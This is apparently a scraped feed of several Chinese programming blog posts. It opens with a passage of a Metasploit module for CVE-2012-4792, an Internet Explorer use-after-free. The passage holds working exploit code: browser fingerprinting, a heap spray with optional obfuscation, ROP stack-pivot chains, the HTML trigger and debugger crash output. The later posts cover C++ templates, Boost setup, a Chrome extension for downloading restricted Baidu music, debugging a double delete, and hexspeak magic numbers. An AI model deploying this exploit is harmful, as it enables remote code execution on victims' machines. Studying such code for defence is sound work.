					[ 'IE 8 on Windows 7',            { 'Rop' => :jre,    'Offset' => '0x586' } ]  # 0x0c0c0b30
				],
			'Privileged'     => false,
			'DisclosureDate' => "Dec 27 2012",
			'DefaultTarget'  => 0))
 
		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
			], self.class)
 
	end
 
	def get_target(agent)
		#If the user is already specified by the user, we'll just use that
		return target if target.name != 'Automatic'
 
		nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
		ie = agent.scan(/MSIE (\d)/).flatten[0] || ''
 
		ie_name = "IE #{ie}"
 
		case nt
		when '5.1'
			os_name = 'Windows XP SP3'
		when '5.2'
			os_name = 'Windows Server 2003'
		when '6.0'
			os_name = 'Windows Vista'
		when '6.1'
			os_name = 'Windows 7'
		else
			# OS not supported
			return nil
		end
 
		targets.each do |t|
			if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
				print_status("Target selected as: #{t.name}")
				return t
			end
		end
 
		return nil
	end
 
	def ie_heap_spray(my_target, p)
		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
		js_nops = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4), Rex::Arch.endian(target.arch))
 
		# Land the payload at 0x0c0c0b30
		js = %Q|
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{js_code}");
		var nops = unescape("#{js_nops}");
		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['Offset']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);
		heap_obj.gc();
		for (var i=1; i < 0x300; i++) {
			heap_obj.alloc(block);
		}
		|
 
		js = heaplib(js, {:noobfu => true})
 
		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end
 
		return js
	end
 
	def get_payload(t, cli)
		code = payload.encoded
 
		# No rop. Just return the payload.
		return code if t['Rop'].nil?
 
=begin
Stack Pivoting to eax:
0:008> db eax
0c0c0b30  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
0c0c0b40  0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c  ................
=end
		# Both ROP chains generated by mona.py - See corelan.be
		case t['Rop']
		when :msvcrt
			print_status("Using msvcrt ROP")
			if t.name =~ /Windows XP/
				stack_pivot = [0x77c15ed6].pack("V") * 54 # ret
				stack_pivot << [0x77c2362c].pack("V") # pop ebx, #ret
				stack_pivot << [0x77c15ed5].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
				rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
			else
				stack_pivot = [0x77bcba5f].pack("V") * 54 # ret
				stack_pivot << [0x77bb4158].pack("V") # pop ebx, #ret
				stack_pivot << [0x77bcba5e].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
				rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'2003'})
			end
		else
			print_status("Using JRE ROP")
			stack_pivot = [0x7c348b06].pack("V") * 54 # ret
			stack_pivot << [0x7c341748].pack("V") # pop ebx, #ret
			stack_pivot << [0x7c348b05].pack("V") # xchg eax,esp # ret # 0x0c0c0c0c
			rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
		end
 
		return rop_payload
	end
 
	def load_exploit_html(my_target, cli)
 
		p  = get_payload(my_target, cli)
		js = ie_heap_spray(my_target, p)
 
		html = %Q|
		<!doctype html>
		<html>
		<head>
		<script>
		#{js}
 
		function helloWorld()
		{
			var e0 = null;
			var e1 = null;
			var e2 = null;
 
			try {
				e0 = document.getElementById("a");
				e1 = document.getElementById("b");
				e2 = document.createElement("q");
				e1.applyElement(e2);
				e1.appendChild(document.createElement('button'));
				e1.applyElement(e0);
				e2.outerText = "";
				e2.appendChild(document.createElement('body'));
			} catch(e) { }
			CollectGarbage();
			var eip = window;
			var data = "#{Rex::Text.rand_text_alpha(41)}";
			eip.location = unescape("%u0b30%u0c0c" + data);
		}
 
		</script>
		</head>
		<body onload="eval(helloWorld())">
		<form id="a">
		</form>
		<dfn id="b">
		</dfn>
		</body>
		</html>
		|
 
		return html
	end
 
	def on_request_uri(cli, request)
		agent = request.headers['User-Agent']
		uri   = request.uri
		print_status("Requesting: #{uri}")
 
		my_target = get_target(agent)
		# Avoid the attack if no suitable target found
		if my_target.nil?
			print_error("Browser not supported, sending 404: #{agent}")
			send_not_found(cli)
			return
		end
 
		html = load_exploit_html(my_target, cli)
		html = html.gsub(/^\t\t/, '')
		print_status("Sending HTML...")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end
 
end
 
 
=begin
(87c.f40): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=12120d0c ebx=0023c218 ecx=00000052 edx=00000000 esi=00000000 edi=0301e400
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000    call    dword ptr <Unloaded_Ed20.dll>+0xdb (000000dc)[eax] ds:0023:12120de8=????????
0:008> k
ChildEBP RetAddr
020bf8a4 635c378b mshtml!CMarkup::OnLoadStatusDone+0x504
020bf8c4 635c3e16 mshtml!CMarkup::OnLoadStatus+0x47
020bfd10 636553f8 mshtml!CProgSink::DoUpdate+0x52f
020bfd24 6364de62 mshtml!CProgSink::OnMethodCall+0x12
020bfd58 6363c3c5 mshtml!GlobalWndOnMethodCall+0xfb
020bfd78 7e418734 mshtml!GlobalWndProc+0x183
020bfda4 7e418816 USER32!InternalCallWinProc+0x28
020bfe0c 7e4189cd USER32!UserCallWinProcCheckWow+0x150
020bfe6c 7e418a10 USER32!DispatchMessageWorker+0x306
020bfe7c 01252ec9 USER32!DispatchMessageW+0xf
020bfeec 011f48bf IEFRAME!CTabWindow::_TabWindowThreadProc+0x461
020bffa4 5de05a60 IEFRAME!LCIETab_ThreadProc+0x2c1
020bffb4 7c80b713 iertutil!CIsoScope::RegisterThread+0xab
020bffec 00000000 kernel32!BaseThreadStart+0x37
 
0:008> r
eax=0c0c0c0c ebx=0023c1d0 ecx=00000052 edx=00000000 esi=00000000 edi=033e9120
eip=637848c3 esp=020bf834 ebp=020bf8a4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
mshtml!CMarkup::OnLoadStatusDone+0x504:
637848c3 ff90dc000000    call    dword ptr [eax+0DCh] ds:0023:0c0c0ce8=????????
 
=end

本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> [CVE-2012-4792]IE 0DAY – CDwnBindInfo Object Use-After-Free Vulnerability
作者:代码疯子

没有相关文章推荐

你好2013,再见2012

$
0
0

时光荏苒,岁月如梭,转眼间,2012这一充满着各种高兴、痛苦的不平凡的一年已经成为了历史,2013就这么悄悄的到来。准备写点文字记录下这不平凡的一年。不过话说回来,本人一样比较讨厌条条框框的总结与报告,但是自己写的就随意了,无拘无束:

关于学习,在去年制定了一个看上去很不错的学习计划,可是实际情况似乎总是It’s easier said than done. 总会有很多很多的小事,也总会有很多时间并不是自己所能掌控的,再加上自己的控制力不好,所以计划执行起来总是非常困难。

这一年值得肯定的几点:
1. 走了全国几个城市,算是人生出去的最多的一年了,毕竟多看看世界一直以来都是我的一个小目标,现在来回味一下我的足迹:
深圳:不管别人怎么说,总之深圳目前为止是给我印象最好的一个城市之一。首先,沿海城市总能体现出他们独特的一面(环境优雅、气候适宜、风景宜人),我是南方人,对深圳的气候、环境都很是赞赏的,另外就是我对海的向往,第一次、第二次看海那当然就是这美丽的深圳了。另外我的第一份工作就在这座城市展开,所在的公司亦给我留下了美好的印象。还有就是在这边和几位初中的老同学见面,甚是高兴……
珠海:又是一座美丽的城市,同样是沿海城市,这里天朗气清,环境宜人,我当然也再次来到了海边。和深圳相比,珠海的物价要低了不少了,城市生活节奏相对慢一些,在这里又认识了不少朋友。另外就是在这里开始学习游泳,离开之时我已经自认为会游泳了……
湘西凤凰:不用多说,相信不少朋友都对这座古城充满了向往,特别是现代快节奏的城市生活下人们显得十分的疲惫,如果能在凤凰待那么几天肯定是个放松的好方式了。可以漫步在古镇之中,也可坐坐木船漂浮在小河上,或是体验名族风情,或者品尝当地的小吃,亦或是晚上去酒吧high一把。
天津:四月份,厌倦了实验室生活的枯燥,也厌倦了北京这座城市,和朋友跑天津去玩了两天,虽然当时因为囊中羞涩不是很尽兴,但总之对我来说很新鲜。还有就是加深了和朋友的交流……
广州:这个纯属打酱油路过了……
北京:说实话,我很讨厌这座城市。空气污浊、交通拥堵、人山人海。当然也有很多值得回忆的事情,在这里认识了新的同学和朋友,亦或是和老朋友谋面,亦或是重新认识生活……
长沙:这算是老巢了,之前也是不怎么喜欢,但是离开之后又很不舍。在这里经历了本科毕业,和同学之间的离别,说实话,大学一直感觉自己不合群,这算是人生的一大遗憾。毕业前的点点滴滴,基本都还记得。所以,研究生阶段换了一种活法了……现在,多多少少还会在长沙停留,不过能不能去找老同学聚聚就不清楚了,因为基本都是在长沙转车,提着行李不方便。此外,长沙还有我的伤痛之处,在此略过……

因为港澳通行证的问题,再次与港澳擦肩而过……

2. 生活方面
性格:上面提到,大学不合群的事情。所以研究生要做点改变了,但事情总是多少有点遗憾,第一次班级活动因为去参加看雪的一个线下活动而错过了。导致不少同学都不知道我是这个班的,好在后来主动参加了元旦晚会的活动,挽回了一点损失:认识了10来个同学,严格来说是加深了相互的了解,以后就可以往好友发展了。
游泳:托福去珠海走了一趟,有机会去水里玩玩,接触了游泳。到北京之后又上了游泳课,终于在某一天,发现蛙泳不再是问题了。以后要是帝都再涨一次水,我也不用怕了,O(∩_∩)O哈哈~
离别:本科毕业当然是件大事,有的同学走向社会,有的同学继续求学,我属于后者。有几个同学来了北京,十月份小聚了一次。然后是十月又有同学来北京游玩,也陪着走了几天。
新生活:研究生入学,可能是提前来北京的原因,还有学校方面的原因,比较失落的感觉……学校感觉有点奇葩了,具体不多说。

3. 学习方面
学习是个永恒的话题,但是学习总是零散的。你不可能要求从课上学到多少东西,老师讲的要不全是干巴巴的理论,要么就是各种跳跃式的讲解,最主要的是时间短,所以我也不怎么期待能从课上学会许多东西。读研,自学还是王道啊……不过本科要搞成绩,研究生要发论文,哎,我是个俗人,我现在在想什么时候也来发电论文啥的,没办法,自己太穷,不可埋怨,所以俗一点也没什么,虽然我不喜欢发论文,中国的论文水平怎么样大家都清楚……

那,这年头我又自学了些什么呢?又是不成体系的学习,偶尔写点Python,多半还是在做分析方面的工作,C++完全落下了,另外发现数学底子很差,算法很差……英语也很差,连入学考试都给跪了……


新的一年,要做点什么?

要努力学习的:首先是英语、数学、算法,其次是C++、Python;要刷题;
要继续进行的:实验室打杂生活,这就是继续安全方面的工作了;
要尝试改变的:性格
还有零零碎碎的:去健身房、去游泳馆、买自行车……还有继续去几座陌生的城市……

对2013还算是比较期待,期待这一年我又更好的发展
2013 Happy New Year


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> 你好2013,再见2012
作者:代码疯子

没有相关文章推荐

C++ Template Non-type Parameter

$
0
0

C++的template可以传入普通的参数,像给普通函数传入参数一样。可能平时并不多见,但这是完全可以的,因为好久没看这方面的东西,对这样的写法表示大为吃惊。也难怪,笔记本散热不好,《Effective C++》被我拿来垫笔记本了,而《More Effective C++》一直放在枕头旁边……翻了一下,书上都有提及这样的写法。

Besides the template arguments that are preceded by the class or typename keywords , which represent types, templates can also have regular typed parameters, similar to those found in functions. As an example, have a look at this class template that is used to contain sequences of elements:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#include <iostream>
using namespace std;
 
template <class T, int N>
class mysequence {
    T memblock [N];
  public:
    void setmember (int x, T value);
    T getmember (int x);
};
 
template <class T, int N>
void mysequence<T,N>::setmember (int x, T value) {
  memblock[x]=value;
}
 
template <class T, int N>
T mysequence<T,N>::getmember (int x) {
  return memblock[x];
}
 
int main () {
  mysequence <int,5> myints;
  mysequence <double,5> myfloats;
  myints.setmember (0,100);
  myfloats.setmember (3,3.1416);
  cout << myints.getmember(0) << '\n';
  cout << myfloats.getmember(3) << '\n';
  return 0;
}

It is also possible to set default values or types for class template parameters.(设置参数的默认值也是可以的。)

相关链接:
Non-type Template Arguments
Non-type parameters for templates


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> C++ Template Non-type Parameter
作者:代码疯子

没有相关文章推荐

Boost编译与配置

$
0
0

老文章,在草稿箱存了一年多了)Boost是一个开源、可移植的强大的C++程序库,由C++标准委员会库工作组成员发起。官方网址为http://www.boost.org,SourceForge网址为http://sourceforge.net/projects/boost/。本文以Windows下Visual Studio为例讲解如何编译和配置Boost库。

首先从SourceForge上下载Boost库的压缩包,此时的最新版为1.47.0,下载地址为http://nchc.dl.sourceforge.net/project/boost/boost/1.47.0/boost_1_47_0.7z;下载后,解压缩7z包。然后以管理员方式在命令提示符下运行bootstrap.bat批处理文件,运行后会在当前目录中出现bjam.exe文件。

接着在命令行下运行bjam.exe,开始Boost库的编译,需要等待一段时间,编译完后提示如下:
Boost库编译
这里提示我们要配置好编译器的头文件路径和库文件路径,这里我们打开Visual Studio,选择“工具”菜单,然后依次选择“选项”——“项目和解决方案”——“VC++目录”,添加Boost库文件目录和包含文件目录,确定即可。
Visual Studio配置Boost库

下面就可以创建项目进行测试了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Boost shared_ptr测试
// http://www.programlife.net
#include <iostream>
#include <boost/shared_ptr.hpp>
using namespace std;
 
int main(int argc, char **argv)
{
	boost::shared_ptr<int> shptr(new int(10));
	cout << "use_count: " << shptr.use_count() << endl;
	cout << "value: " << *shptr << endl;
 
	return 0;
}

本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> Boost编译与配置
作者:代码疯子

没有相关文章推荐

HqBaiduMusic百度音乐高品质下载Chrome扩展

$
0
0

百度音乐刚出来的时候是可以直接下载320Kbps的高品质音乐的,不过现在为了推广他的手机客户端,不让下载了:“您可以将 超高品质(320kbps mp3)保存到 云音乐空间 或通过 百度音乐手机客户端 获取”,PC端居然不给下载。但是呢?查看下源代码发现链接还是存在的,但每次下歌也懒得查看源代码再做一些字符替换之类的,于是,无聊写了个Chrome插件,用来下载百度音乐的高品质MP3(320Kbps的)。其实Chrome插件开发感觉可以,基本上就是写Javascript脚本。

条款: 

  • 本插件仅供编程交流学习之用,请于下载后24小时内删除;
  • 本插件使用者对因使用本插件所造成的任何后果负责, 本插件编制者不承担任何直接和连带责任!

帮助: 

  • 未登录百度账号情况下无法正常使用本插件;
  • 标准品质和高品质请使用原有下载按钮进行下载;
  • 有问题请通过邮件反馈,谢谢!

使用说明
下载地址1(GitHub)点击下载HqBaiduMusic谷歌浏览器插件
下载地址2(本地)点击下载HqBaiduMusic谷歌浏览器插件

安装方法
1. 下载扩展程序/脚本程序至本地计算机;
2. 将其直接拖拽到浏览器的“扩展程序”页面(设置-扩展程序)即 chrome://chrome/extensions 页面。

插件效果
1. 有高品质音乐,可以点击超链接直接下载
如何下载百度高品质320kbps MP3音乐
2. 没有高品质音乐,不可以下载
没有高品质音乐可供下载
3. 未登录百度账号无法正常进行下载
未登录百度账号无法正常进行下载

Hqbaidumusic源代码获取
https://github.com/ShadowGeeker/HqBaiduMusic

附:Chrome扩展开发文档中文版:http://open.chrome.360.cn/extension_dev/overview.html


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> HqBaiduMusic百度音乐高品质下载Chrome扩展
作者:代码疯子

没有相关文章推荐


const成员函数重载-error C2678 二进制

$
0
0

最近遇到的一个错误,重载类的小于比较操作符,然后通过algorithm中的sort对其进行排序时提示了一个编译错误:
1>—— 已启动生成: 项目: T, 配置: Debug Win32 ——
1>正在编译…
1>Main.cpp
1>e:\code\X\t\t\main.cpp(34) : warning C4996: ‘freopen’: This function or variable may be unsafe. Consider using freopen_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
1> c:\program files\microsoft visual studio 9.0\vc\include\stdio.h(252) : 参见“freopen”的声明
1>c:\program files\microsoft visual studio 9.0\vc\include\functional(143) : error C2678: 二进制“<”: 没有找到接受“const Node”类型的左操作数的运算符(或没有可接受的转换)
1> e:\code\X\t\t\main.cpp(18): 可能是“bool Node::operator <(const Node &)”
1> 试图匹配参数列表“(const Node, const Node)”时
1> c:\program files\microsoft visual studio 9.0\vc\include\functional(142): 编译类 模板 成员函数“bool std::less<_Ty>::operator ()(const _Ty &,const _Ty &) const”时
1> with
1> [
1> _Ty=Node
1> ]
1> c:\program files\microsoft visual studio 9.0\vc\include\queue(223): 参见对正在编译的类 模板 实例化“std::less<_Ty>”的引用
1> with
1> [
1> _Ty=Node
1> ]
1> e:\code\X\t\t\main.cpp(53): 参见对正在编译的类 模板 实例化“std::priority_queue<_Ty>”的引用
1> with
1> [
1> _Ty=Node
1> ]
1>生成日志保存在“file://e:\Code\X\T\T\Debug\BuildLog.htm”
1>T – 1 个错误,1 个警告
========== 生成: 成功 0 个,失败 1 个,最新 0 个,跳过 0 个 ==========

原因就是因为重载<操作符的时候,没有把函数定义为const成员函数,而从错误提示信息中看得到默认的less算子传入的两个参数都是const引用形式的,他们会尝试调用const版本的比较操作(有没有const会构成重载)。下面是一个样例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#include <iostream>
using namespace std;
 
class Test
{
public:
    Test(int val):value(val)
    {
    }
private:
    int value;
public:
    bool operator<(const Test& rhs)
    {
        cout << "none-const member function called..." << endl;
        return value < rhs.value;
    }
    bool operator<(const Test& rhs) const
    {
    	cout << "const member function called..." << endl;
    	return value < rhs.value;
    }
};
 
bool TestFun(const Test& lhs, const Test& rhs)
{
    return lhs < rhs;
}
 
bool TestFun2(const Test& lhs, Test& rhs)
{
	return lhs < rhs;
}
 
bool TestFun3(Test& lhs, const Test& rhs)
{
	return lhs < rhs;
}
 
bool TestFun4(Test& lhs, Test& rhs)
{
	return lhs < rhs;
}
 
int main(int argc, char **argv)
{
    Test a(10), b(100);
    TestFun(a, b);
    TestFun2(a, b);
    TestFun3(a, b);
    TestFun4(a, b);
 
    return 0;
}

输出结果为:
error C2678:二进制<:没有找到接受const类型的左操作数的运算符


本博客很少转载他人文章,如未特别标明,均为原创,转载请注明出处:
本文出自程序人生 >> const成员函数重载-error C2678 二进制< 没有找到接受const类型的左操作数的运算符
作者:代码疯子

没有相关文章推荐

调试器也有MagicNumer——从一个奇葩的错误说起

$
0
0

最近太忙,博客也好久没有打理了,主要是没有东西可写,呵呵~

写代码的时候,在delete的时候遇到一个错误,提示“T.exe 中的 0x002a1614 处未处理的异常: 0xC0000005: 读取位置 0xfeeefeee 时发生访问冲突”,立刻就被其中的0xFEEEFEEE吸引住了,显然,这样的地址在用户空间(User Space)是不可能用到的,刚好前不久看到一条微博说调试器也有Magic Number,利用16进制构造出一些很有意思的数据,于是马上Google了一下0xFEEEFEEE,果然,Windows上的堆管理器会给delete掉后的内存空间填充0xFEEEFEEE,也就是说,在出现这个异常的时候,已经是第二次delete了。

平时写代码的时候,我并没有给delete之后的指针再次赋值为NULL的习惯,但是这次,加上这个动作也不行了,后来仔细一看,还是指针参数传递造成的一个误区。先看代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#include <iostream>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
using namespace std;
 
const int nMaxSize = 26;
struct Node
{
    Node *next[nMaxSize];
    Node()
    {
        for (int i = 0; i < nMaxSize; ++i)
        {
            next[i] = NULL;
        }
    }
};
Node root;
 
void Insert(char *pStr)
{
    Node *p = &root;
    for (int i = 0; i < strlen(pStr); ++i)
    {
        int id = pStr[i] - 'a';
        if (p->next[id] != NULL)
        {
            printf("test log\n");
        }
        else
        {
            p->next[id] = new Node();
        }
    }
}
 
void Delete(Node *p)
{
    if (p == NULL) return ;
    for (int i = 0; i < nMaxSize; ++i)
    {
        Delete(p->next[i]);
    }
    if (p == &root) return ;
    delete p;
    p = NULL;
}
 
int main(int argc, char **argv)
{
    printf("Insert a string\n");
    Insert("a");
    Delete(&root);
    printf("Insert the same string again\n");
    Insert("a");
    Delete(&root);
 
    return 0;
}

示例代码,大概意思是建立了一个字典树(无关的代码都省了),然后在main中插入一个字符串”a”,接着删除字典树,再次插入字符串”a”,再次删除的时候,调用Delete函数,就会触发异常了。

异常分析:给字典树插入字符串的时候,根节点的26个子节点都是NULL,这时候插入a,将在第0个节点分配一块内存。删除的时候通过将根节点的地址传递给Delete()函数,确实是将分配的内存delete掉了。然后你还看到我特意加了一句空指针赋值(第47行代码),值得注意的时候,这一句并没有起到我想要的作用。以至于在第二次插入字符串a的时候,第0个节点并不是NULL,所以我们看到执行了printf输出log,也没有去分配新的内存了。

明明在第47行进行了NULL赋值,为什么进入了第27行的if语句?因为通过Delete()函数传入的指针只不过是一个临时变量而已,之所以能通过delete删除内存块,是因为他确确实实指向了用new分配的节点内存块,但是他不是root节点的成员(也就是next数组中的第一个元素),所以我们只是讲一个临时的指针指向了NULL,毫无意义。

接下来,就是奇迹发生的时刻了。因为root的next数组第一个成员仍然指向内存块(最主要的是这个内存块已经被delete掉了),自然就通过了if语句的非空判断,这里就没有继续分配内存了,只是因为这里并没有对这个指针进行读写操作,所以直到delete的时候才发生了异常

我的解决方法是,调用Delete()之后,通过memset对root进行清零操作。

奇葩的错误到此为止,下面进入文章的主题,调试器也有MagicNumer

Many computer processors, operating systems, and debuggers make use of magic numbers, especially as a magic debug value.
0x0000000FF1CE ("office") is used as the last part of product codes (guid) for Microsoft Office components (visible in registry under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall registry key).
0x00BAB10C ("oo-ba-block") is used as the magic number for the ZFS uberblock.
0x8BADF00D ("ate bad food") is used by Apple in iOS crash reports, when an application takes too long to launch, terminate, or respond to system events.[1]
0x1BADB002 ("1 bad boot"[2]) Multiboot header magic number.[3]
0x1CEB00DA ("ice buddha") was used as the origin for the binary file parser IceBuddha.[4]
0xB16B00B5 ("big boobs") was required by Microsoft's Hyper-V hypervisor to be used by Linux guests as their "guest signature".[5] This offending code was later changed to 0x0DEFACED ("defaced").[6]
0xBAADF00D ("bad food") is used by Microsoft's LocalAlloc(LMEM_FIXED) to indicate uninitialised allocated heap memory when the debug heap is used.[7]
0xBADDCAFE ("bad cafe") is used by Libumem to indicate uninitialized memory area
C15C:0D06:F00D ("cisco dog food") used in the IPv6 address of www.cisco.com on World IPv6 Day. "Dog food" refers to Cisco eating its own dog food with IPv6.
0xCAFEBABE ("cafe babe") is used by Mach-O to identify Universal object files, and by the Java programming language to identify Java bytecode class files.[8]
0xCAFED00D ("cafe dude") is used by Java as a magic number for their pack200 compression.[9]
0xCEFAEDFE ("face feed") is used by Mach-O to identify flat (single architecture) object files. In little endian this reads FEEDFACE, "Feed Face".
0xD15EA5E ("disease") is a flag that indicates regular boot on the Nintendo GameCube and Wii consoles.[10][11]
0xDABBAD00 ("dabba doo") is the name of a blog on computer security.[12]
0xDEADBABE ("Dead Babe") is used by IBM Jikes RVM as a sanity check of the stack of the primary thread [13]
0xDEADBEAF ("dead beaf") is part of the signature code of Jazz Jackrabbit 2 tileset files.[14] Level files have less room for their signatures and use 0xBABE ("babe") instead.[15]
0xDEADBEEF ("dead beef") is frequently used to indicate a software crash or deadlock in embedded systems. DEADBEEF was originally used to mark newly allocated areas of memory that had not yet been initialized -- when scanning a memory dump, it is easy to see the DEADBEEF. It is used by IBM RS/6000 systems, Mac OS on 32-bit PowerPC processors and the Commodore Amiga as a magic debug value. On Sun Microsystems' Solaris, it marks freed kernel memory. On OpenVMS running on Alpha processors, DEAD_BEEF can be seen by pressing CTRL-T. The DEC Alpha SRM console has a background process that traps memory errors, identified by PS as "BeefEater waiting on 0xdeadbeef".[16]
0xDEADC0DE ("dead code") is used as a marker in OpenWrt firmware to signify the beginning of the to-be created jffs2 filesystem at the end of the static firmware.
0xDEADDEAD ("dead dead") is the bug check (STOP) code displayed when invoking a Blue Screen of Death either by telling the kernel via the attached debugger, or by using a special keystroke combination.[17] This is usually seen by driver developers, as it is used to get a memory dump on Windows NT based systems. An alternative to 0xDEADDEAD is the bug check code 0x000000E2,[18] as they are both called MANUALLY_INITIATED_CRASH as seen on the Microsoft Developer Network.
0xDEADD00D ("dead dude") is used by Android in the Dalvik virtual machine to indicate a VM abort.
0xDEADFA11 ("dead fall") is used by Apple in iOS crash reports, when the user force quits an application.[1]
0xDEAD10CC ("dead lock") is used by Apple in iOS crash reports, when application holds on to a system resource while running in the background.[1]
0xDEFEC8ED ("defecated") is the magic number for OpenSolaris core dumps.[19]
0xE011CFD0 is used as magic number for Microsoft Office files. In little endian this reads D0CF11E0, "docfile0".[20]
face:b00c ("facebook") used in the IPv6 address of www.v6.facebook.com
0xFACEFEED ("face feed") is used by Alpha servers running Windows NT. The Alpha Hardware Abstraction Layer (HAL) generates this error when it encounters a hardware failure.[21]
0xFEE1DEAD ("feel dead") is used as a magic number in the Linux reboot system call.[22]
0xDEADBAAD ("dead bad") is used by the Android libc abort() function when native heap corruption is detected.
deadbeef-dead-beef-dead-beef00000075("dead beef") is the GUID assigned to hung/dead virtual machines in Citrix Xenserver

第二个表格:

..FACADE	"Facade", Used by a number of RTOSes
1BADB002	"Bad booze", Multiboot header magic number
A5A5A5A5	Used in embedded development because the alternating bit pattern (1010 0101) creates an easily recognized pattern on oscilloscopes and logic analyzers.
A5	Used in FreeBSD's PHK malloc(3) for debugging when /etc/malloc.conf is symlinked to "-J" to initialize all newly allocated memory as this value is not a NULL pointer or ASCII NUL character.
ABABABAB	Used by Microsoft's HeapAlloc() to mark "no man's land" guard bytes after allocated heap memory
ABADBABE	"A bad babe", Used by Apple as the "Boot Zero Block" magic number
ABADCAFE	"A bad cafe", Used to initialize all unallocated memory (Mungwall, AmigaOS).
0DEFACED	"Defaced", Required by Microsoft's Hyper-V hypervisor to be used by Linux guests as their "guest signature", after changing from original 0xB16B00B5
BAADF00D	"Bad food", Used by Microsoft's LocalAlloc(LMEM_FIXED) to mark uninitialized allocated heap memory
BADBADBADBAD	"Bad bad bad bad", Burroughs large systems "uninitialized" memory (48-bit words)
BADC0FFEE0DDF00D	"Bad coffee odd food", Used on IBM RS/6000 64-bit systems to indicate uninitialized CPU registers
BADDCAFE	"Bad cafe", On Sun Microsystems' Solaris, marks uninitialised kernel memory (KMEM_UNINITIALIZED_PATTERN)
BBADBEEF	"Bad beef", Used in WebKit[clarification needed]
BEEFCACE	"Beef cake", Used by Microsoft .NET as a magic number in resource files
CAFED00D	"Cafe dude", Used by Java for their pack200 compression
CAFEFEED	"Cafe feed", Used by Sun Microsystems' Solaris debugging kernel to mark kmemfree() memory
CCCCCCCC	Used by Microsoft's C++ debugging runtime library and many DOS environments to mark uninitialized stack memory. CC resembles the opcode of the INT 3 debug breakpoint interrupt on x86 processors.
CDCDCDCD	Used by Microsoft's C++ debugging runtime library to mark uninitialized heap memory
D15EA5E	"Disease", Used as a flag to indicate regular boot on the Nintendo GameCube and Wii consoles
DDDDDDDD	Used by MicroQuill's SmartHeap and Microsoft's C++ debugging heap to mark freed heap memory
DEADBABE	"Dead babe", Used at the start of Silicon Graphics' IRIX arena files
DEADBEEF	"Dead beef", Famously used on IBM systems such as the RS/6000, also used in the original Mac OS operating systems, OPENSTEP Enterprise, and the Commodore Amiga. On Sun Microsystems' Solaris, marks freed kernel memory (KMEM_FREE_PATTERN)
DEADC0DE	"Dead code", Used as a marker in OpenWRT firmware to signify the beginning of the to-be created jffs2 file system at the end of the static firmware
DEADF00D	"Dead food", Used by Mungwall on the Commodore Amiga to mark allocated but uninitialized memory [13]
DEFEC8ED	"Defecated", Used for OpenSolaris core dumps
EBEBEBEB	From MicroQuill's SmartHeap
FADEDEAD	"Fade dead", Comes at the end to identify every AppleScript script
FDFDFDFD	Used by Microsoft's C++ debugging heap to mark "no man's land" guard bytes before and after allocated heap memory
FEE1DEAD	"Feel dead", Used by Linux reboot() syscall
FEEDFACE	"Feed face", Seen in PowerPC Mach-O binaries on Apple Inc.'s Mac OS X platform. On Sun Microsystems' Solaris, marks the red zone (KMEM_REDZONE_PATTERN)
FEEEFEEE	"Fee fee", Used by Microsoft's HeapFree() to mark freed heap memory

可能显示效果不是很好,请点击链接去WikiPedia查看:
Hexspeak Notable magic numbers
Magic_number_(programming) Magic_debug_values

===============华===丽===的===分===割===线===============
上海地铁结算系统
在人人网上看到一个同学上传的照片,看到我就笑了。
2^32 = 4294967296
奇葩的,是这位程序员使用unsigned int存储数据,然后除以100,得到想要的浮点数(两个零头):

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
int main(int argc, char **argv)
{
    char szBuffer[16];
    unsigned int nTmp = 0;
    sprintf(szBuffer, "0x%X", -20);
    nTmp = strtoul(szBuffer, NULL, 16);
    printf("%u\n", nTmp);
    return 0;
}

